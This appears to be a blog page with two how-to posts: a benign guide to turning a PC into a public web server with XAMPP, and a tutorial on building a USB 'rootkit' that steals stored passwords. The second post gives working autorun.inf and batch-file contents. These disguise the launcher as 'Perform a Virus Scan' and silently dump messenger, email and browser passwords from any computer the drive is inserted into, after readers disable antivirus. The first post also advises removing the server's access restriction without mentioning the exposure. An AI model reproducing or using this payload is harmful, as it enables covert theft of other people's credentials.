How to Set Up a Webserver -Turn Your Pc to a Server.

Basically we make website by signing up from any web hosting site. But now we setup a website without signing up at any web hosting site ? Learning web site designing and wanna keep testing how your web pages look??we are going to turn our pc to a server.

What is a server  ?

 

Server is we can say, any computer that is serving something . Like webserver serves webpages, ftp server serves files. Any computer can be turned into a server by simply installing a server software. In this post,

You Can Use XAMPP . By installing this, contents of a particular directory of  our computer would accessible all over internet . Means one could access those contents from any part of the world through our Public IP address.

You can place your web pages or whatever you wish in that directory.

Download XAMPP from here. This package consists of Apache http server (A), MySQL database (M), php (P),Perl (P) and X represents cross platforms.

After dowloading it, simply install it . 

At last stage on installation you will get this . Press 1 to start XAMPP control panel.

The control panel would look like this

Click Start to start apache server. Now lets check whether its working,

Open your web browser and visit your local machine address that is 127.0.0.1 or localhost. Hopefully you must get the XAMPP page as shown.

Now check whether it is accessible on internet. Type your Public/External Ip in your web browser and hit enter.

If you got a page as shown, follow the instructions :

1. Go to file httpd-xampp.conf

2. Remove "deny from all" and save the file.

 

3. Now restart the server and hopefully it would be all right now.

Now what ?

There must be a directory 'htdocs' at location C:\xampp\. The contents of this particular directory will be available to every body. Suppose you place a file anything.html in 'htdocs' directory. It would be accessible at

1.http://localhost/anything.html  or http://127.0.0.1/anything.html

( Obviously above two links gonna work on your own computer only.)

2.http://xxx.xxx.xxx.xxx/anything.html (where xxx.xxx.xxx.xxx is your IP address)

You can start/stop this service simply through the control panel.

Thats all. And you have also use Filezilla(ftp server software) and Mysql (database) as per your need.

Get a domain name ?
Now you would want to get a domain name instead of  using the Public IP to check out your contents.
But how can we get a domain name because our IP is dynamic and to which IP domain name would point ?
Dont worry, we have a solution.
1. Log on to www.no-ip.com and sign up for an account. Choose available domain name.
2. Download their dynamic DNS update client and run on PC.


This client would automatically keep updating your dynamic IP address and that is how the selected domain would always be pointing to your IP address.

Note: You might need  do port forwarding if you are behind a router. Kindly mention the queries regarding that  in comments.

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How to Sniff Passwords Using USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
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